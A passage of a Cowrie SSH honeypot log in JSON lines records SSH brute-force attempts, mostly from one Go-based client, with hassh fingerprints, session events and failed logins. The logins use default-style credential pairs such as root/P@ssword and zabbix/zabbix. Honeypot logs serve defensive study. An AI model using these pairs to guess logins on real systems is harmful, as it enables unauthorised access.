{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:24.816705Z","src_ip":"47.86.95.62","session":"a9b173bb0ed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:26.263798Z","src_ip":"47.86.95.62","session":"a9b173bb0ed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:27.473426Z","src_ip":"47.86.95.62","session":"a9b173bb0ed4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":49488,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6c9e24eed8d","protocol":"ssh","message":"New connection: 47.86.95.62:49488 (10.17.0.5:22) [session: f6c9e24eed8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:31.156933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:31.251333Z","src_ip":"47.86.95.62","session":"f6c9e24eed8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:31.519176Z","src_ip":"47.86.95.62","session":"f6c9e24eed8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:32.436659Z","src_ip":"47.86.95.62","session":"f6c9e24eed8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:33.642055Z","src_ip":"47.86.95.62","session":"f6c9e24eed8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":49496,"dst_ip":"10.17.0.5","dst_port":22,"session":"e598e243e19d","protocol":"ssh","message":"New connection: 47.86.95.62:49496 (10.17.0.5:22) [session: e598e243e19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:36.249556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:36.254606Z","src_ip":"47.86.95.62","session":"e598e243e19d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:36.495599Z","src_ip":"47.86.95.62","session":"e598e243e19d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:37.114474Z","src_ip":"47.86.95.62","session":"e598e243e19d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:38.329581Z","src_ip":"47.86.95.62","session":"e598e243e19d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":46882,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8125d264706","protocol":"ssh","message":"New connection: 47.86.95.62:46882 (10.17.0.5:22) [session: c8125d264706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:41.214041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:41.254519Z","src_ip":"47.86.95.62","session":"c8125d264706","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:42.458218Z","src_ip":"47.86.95.62","session":"c8125d264706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.151","src_port":23652,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d26170f20a6","protocol":"ssh","message":"New connection: 45.148.10.151:23652 (10.17.0.5:22) [session: 5d26170f20a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:57.334490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:57.339332Z","src_ip":"45.148.10.151","session":"5d26170f20a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:57.429489Z","src_ip":"45.148.10.151","session":"5d26170f20a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:57.805817Z","src_ip":"45.148.10.151","session":"5d26170f20a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:07.058965Z","src_ip":"47.86.95.62","session":"c8125d264706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.0","message":"Connection lost after 28.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:09.179373Z","src_ip":"47.86.95.62","session":"c8125d264706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.242","src_port":65386,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c0605be2a55","protocol":"ssh","message":"New connection: 205.210.31.242:65386 (10.17.0.5:22) [session: 7c0605be2a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:16.756710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:17.788728Z","src_ip":"205.210.31.242","session":"7c0605be2a55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53402,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a41b0eec299","protocol":"ssh","message":"New connection: 47.86.95.62:53402 (10.17.0.5:22) [session: 5a41b0eec299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:18.664458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:18.669510Z","src_ip":"47.86.95.62","session":"5a41b0eec299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:18.815157Z","src_ip":"205.210.31.242","session":"7c0605be2a55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:21.330193Z","src_ip":"47.86.95.62","session":"5a41b0eec299","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:22.156400Z","src_ip":"47.86.95.62","session":"5a41b0eec299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:24.693359Z","src_ip":"47.86.95.62","session":"5a41b0eec299","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":32818,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a2a49d5b9ad","protocol":"ssh","message":"New connection: 47.86.95.62:32818 (10.17.0.5:22) [session: 7a2a49d5b9ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:24.809465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:24.818315Z","src_ip":"47.86.95.62","session":"7a2a49d5b9ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:25.058059Z","src_ip":"47.86.95.62","session":"7a2a49d5b9ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:25.104587Z","src_ip":"205.210.31.242","session":"7c0605be2a55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:26.800191Z","src_ip":"47.86.95.62","session":"7a2a49d5b9ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:28.040259Z","src_ip":"47.86.95.62","session":"7a2a49d5b9ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":52420,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fafd41b79b7","protocol":"ssh","message":"New connection: 47.86.95.62:52420 (10.17.0.5:22) [session: 5fafd41b79b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:31.164664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:31.169736Z","src_ip":"47.86.95.62","session":"5fafd41b79b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp